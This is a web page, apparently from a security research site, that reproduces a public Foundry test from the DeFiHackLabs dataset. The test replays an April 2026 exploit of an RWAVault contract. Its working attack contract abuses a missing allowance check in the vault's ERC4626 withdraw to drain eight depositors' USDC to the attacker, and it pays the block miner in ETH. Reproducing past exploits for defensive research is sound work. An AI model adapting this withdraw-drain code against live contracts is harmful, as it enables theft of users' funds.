Public reproduction file
src/test/2026-04/RWAVault_exp.sol
Public reproduction file for dataset entry RWAVault.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 398,655.47 USDC vault outflow8// Attacker : 0x7137804200a073f616d92e87007f1f100100b56a9// Attack Contract : 0x50c140c2f705fa9d0bd0f4f253bacf4087588d1710// Vulnerable Contract : 0x317aa10528ff675ef4c358ea6a5b7b549432573311// Victim : 0xb9c7c84a1aa0dd40b5b38aae815ad0cdd2e5f88a12// Attack Tx : https://etherscan.io/tx/0x6b04344d5627df59d3bc645e7454f4605a90272852a91e435e370376643353b314// @Info15// Vulnerable Contract Code : https://etherscan.io/address/0x317aa10528ff675ef4c358ea6a5b7b5494325733#code16// Vault Entry/State Contract : https://etherscan.io/address/0xb9c7c84a1aa0dd40b5b38aae815ad0cdd2e5f88a#code18// @Analysis19// Twitter Guy : https://t.me/defimon_alerts/295820//21// RWAVault overrides ERC4626 withdraw without the allowance spend required when msg.sender != owner.22// The attacker withdraws eight depositor balances to an attacker-controlled receiver, swaps 5,000 USDC23// to ETH for the block beneficiary, and forwards the remaining USDC to the attacker EOA.25address constant ATTACKER = 0x7137804200a073f616D92E87007f1f100100B56A;26address constant RWA_VAULT_ENTRY = 0xB9C7C84A1Aa0dD40b5B38Aae815AD0CDD2E5F88a;27address constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;28address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;29address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;30address constant BLOCK_MINER = 0x4838B106FCe9647Bdf1E7877BF73cE8B0BAD5f97;31uint256 constant TRACE_SWAP_USDC = 5_000_000_000;33contract ContractTest is BaseTestWithBalanceLog {34 uint256 private constant FORK_BLOCK = 24_979_315;36 IERC20 private constant usdc = IERC20(USDC_TOKEN);38 RWAVaultAttack private exploit;40 function setUp() public {41 vm.createSelectFork("mainnet", FORK_BLOCK);42 uint256 attackBlockTimestamp = 1_777_388_411;43 vm.warp(attackBlockTimestamp);44 vm.coinbase(BLOCK_MINER);46 fundingToken = USDC_TOKEN;47 attacker = ATTACKER;49 vm.label(ATTACKER, "Attacker EOA");50 vm.label(RWA_VAULT_ENTRY, "RWAVault Entry/State Clone");51 vm.label(USDC_TOKEN, "USDC");52 vm.label(WETH_TOKEN, "WETH");53 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");54 vm.label(BLOCK_MINER, "Block Miner");56 exploit = new RWAVaultAttack(ATTACKER);57 vm.label(address(exploit), "Local Attack Contract");58 }60 function testExploit() public balanceLog {61 uint256 attackerBefore = usdc.balanceOf(ATTACKER);62 uint256 minerEthBefore = BLOCK_MINER.balance;64 // step 1: attacker EOA triggers a local helper that mirrors the historical attack contract's call order.65 vm.prank(ATTACKER);66 exploit.execute();68 uint256 usdcProfit = usdc.balanceOf(ATTACKER) - attackerBefore;69 uint256 minerEthProfit = BLOCK_MINER.balance - minerEthBefore;71 logTokenBalance(USDC_TOKEN, ATTACKER, "Attacker Final");72 emit log_named_decimal_uint("Block Miner ETH Received", minerEthProfit, 18);74 assertGt(usdcProfit, 387_000_000_000, "attacker USDC profit");75 assertGt(minerEthProfit, 2 ether, "miner ETH payment");76 assertEq(usdc.balanceOf(address(exploit)), 0, "attack helper forwarded USDC");77 }78}80contract RWAVaultAttack {81 address private immutable profitReceiver;83 IERC20 private constant usdc = IERC20(USDC_TOKEN);84 IERC4626 private constant vault = IERC4626(RWA_VAULT_ENTRY);85 IUniswapV2Router private constant router = IUniswapV2Router(payable(UNISWAP_V2_ROUTER));87 address[8] private victims = [88 0xC15D1F621480DD6b298A1AFF41E63b67E32ED51b,89 0x98269200D948896E09088482830f84454Da13e9a,90 0x5070Faba9361046c30b3f1976A13C1CaD09e8483,91 0xe9563779260c1B71E3C674534B8208666Eec38B5,92 0x5A0E2bd5311d066B022B88F5bF453cB8A5307fee,93 0xC15D1F621480DD6b298A1AFF41E63b67E32ED51b,94 0x1Acb62D792BF6aEca92c4fC79686c0D12c192fAA,95 0xaB2f2FEfAfC7EA9316C6538Ad63EBb2082585Ae696 ];98 uint256[8] private requestedAssets = [99 100_000_000,100 1_200_000_000,101 270_000_000_000,102 3_136_000_000,103 6_380_000_000,104 9_900_000_000,105 2_048_000_000,106 100_000_000_000107 ];109 constructor(110 address profitReceiver_111 ) {112 profitReceiver = profitReceiver_;113 }115 function execute() external {116 // step 2: reproduce the typed withdraw amounts from the attack calldata.117 for (uint256 i; i < victims.length; ++i) {118 vault.withdraw(requestedAssets[i], address(this), victims[i]);119 }121 // step 3: swap the same 5,000 USDC through Uniswap V2 and pay ETH to the block beneficiary.122 usdc.approve(UNISWAP_V2_ROUTER, TRACE_SWAP_USDC);123 address[] memory path = new address[](2);124 path[0] = USDC_TOKEN;125 path[1] = WETH_TOKEN;126 uint256 traceDeadline = 1_787_388_410;127 router.swapExactTokensForETH(TRACE_SWAP_USDC, 0, path, BLOCK_MINER, traceDeadline);129 // step 4: forward the remaining USDC to the attacker EOA.130 usdc.transfer(profitReceiver, usdc.balanceOf(address(this)));131 }132}Analysis
Dataset entry
Public Foundry test for “RWAVault” (2026-04-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame month in the dataset · 126 lines
- src/test/2026-04/giddyvaultv3_compound_auth_exp.solSame month in the dataset · 283 lines
- src/test/2026-04/JUDAO_exp.solSame month in the dataset · 164 lines
- src/test/2026-04/JuiceboxREVLoans_exp.solSame month in the dataset · 231 lines
- src/test/2026-04/KipseliPropAMM_exp.solSame month in the dataset · 128 lines
- src/test/2026-04/MONA_LisaVault_exp.solSame month in the dataset · 247 lines
- src/test/2026-04/PerpPair_exp.solSame month in the dataset · 249 lines
- src/test/2026-04/SaturnProtocol_exp.solSame month in the dataset · 211 lines
- src/test/2026-04/SingularityDynaVault_exp.solSame month in the dataset · 180 lines
- src/test/2026-04/SquidMulticallAllowanceDrain_exp.solSame month in the dataset · 99 lines
- src/test/2026-04/SubQuerySettings_exp.solSame month in the dataset · 168 lines
- src/test/2026-04/ThetanutsVaultShareRounding_exp.solSame month in the dataset · 105 lines
- src/test/2026-04/unverified_a152_exp.solSame month in the dataset · 184 lines
- src/test/2026-04/XLootStaking_exp.solSame month in the dataset · 197 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7137804200a073f616d92e87007f1f100100b56a
- Attack Contract
0x50c140c2f705fa9d0bd0f4f253bacf4087588d17
- Vulnerable Contract
0x317aa10528ff675ef4c358ea6a5b7b5494325733
- Victim
0xb9c7c84a1aa0dd40b5b38aae815ad0cdd2e5f88a
- Attack Tx
0x6b04344d5627df59d3bc645e7454f4605a90272852a91e435e370376643353b3
File record
- Name
- RWAVault
- Path
- src/test/2026-04/RWAVault_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e15cc499ab5c7bc7cdcbdb784132f1d5cf8ebe76
- Language
- Solidity
- Size
- 133 lines
- Date
- 2026-04-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-04/RWAVault_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e15cc499ab5c7bc7cdcbdb784132f1d5cf8ebe76, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.